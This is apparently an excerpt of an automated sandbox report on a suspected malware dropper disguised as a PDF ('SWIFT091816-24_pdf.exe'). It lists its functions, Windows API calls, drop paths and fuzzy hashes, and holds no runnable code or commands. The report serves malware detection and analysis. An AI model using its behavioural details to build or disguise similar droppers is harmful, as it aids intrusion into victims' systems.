Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E
nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT091816-24_pdf.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000,?), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,?,00000000,?), ref: 00401645

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving
API String ID: 1892508949-2168965836
Opcode ID: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,?), ref: 00401FEE

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

LoadLibraryExW.KERNEL32(00000000,?,?,00000001,?), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,00000001,?), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction ID: 561ed2f99fcd8f3c69216c61aae9e950b585f3ecd418fa9455324ea25216acba
Opcode Fuzzy Hash: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction Fuzzy Hash: 8221A731900209EBDF20AF65CE48A9E7E71BF00354F20427BF510B51E1CBBD8A81DA5D

Function 00401B37 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00718400), ref: 00401BA7
GlobalAlloc.KERNELBASE(?,00000804), ref: 00401BB9

Strings

Call, xrefs: 00401B5E, 00401B64, 00401B7E

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 3223036e7e2fecee151538c34771c34e58526c9ebab93d957a64f6eea7189736
Instruction ID: 27804974e3ca03393c04398de70bc6092cde1ed56c9d8f76027c1228d60f226a
Opcode Fuzzy Hash: 3223036e7e2fecee151538c34771c34e58526c9ebab93d957a64f6eea7189736
Instruction Fuzzy Hash: 32219072600101EBCB10EFA4CE85E5F77BAAF45324725413BF116B32D1DA78A8519B1D

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,0000046C,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsq69D9.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction ID: caa0a88e983a87845293d3a09aded013c5498a2120ee6ea3f3930af667db2d56
Opcode Fuzzy Hash: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction Fuzzy Hash: 9FF08171A00204ABEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,0000046C,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsq69D9.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction ID: 28617f4b1a8802b5017de0243b5a45cf97da40b04a50325282b533cdbf166070
Opcode Fuzzy Hash: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction Fuzzy Hash: 64115E31911205EBDB14CFA4DA489AEB7B4EF44354B20843FE446B72D0DAB89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction ID: 46dfe73b81ae29a5099323896a5bc3e3d9df575198e3285abdeb67f25c429c8d
Opcode Fuzzy Hash: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction Fuzzy Hash: 76E08C326005009BCB10AFB5AA4999D3375DF90369710007BE402F10E1CABC9C409A2D

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\SWIFT091816-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.2463815813.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2463797325.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463835051.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2463853020.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2464196285.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 100028A4 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2471251623.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2471237821.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471265197.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2471278641.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
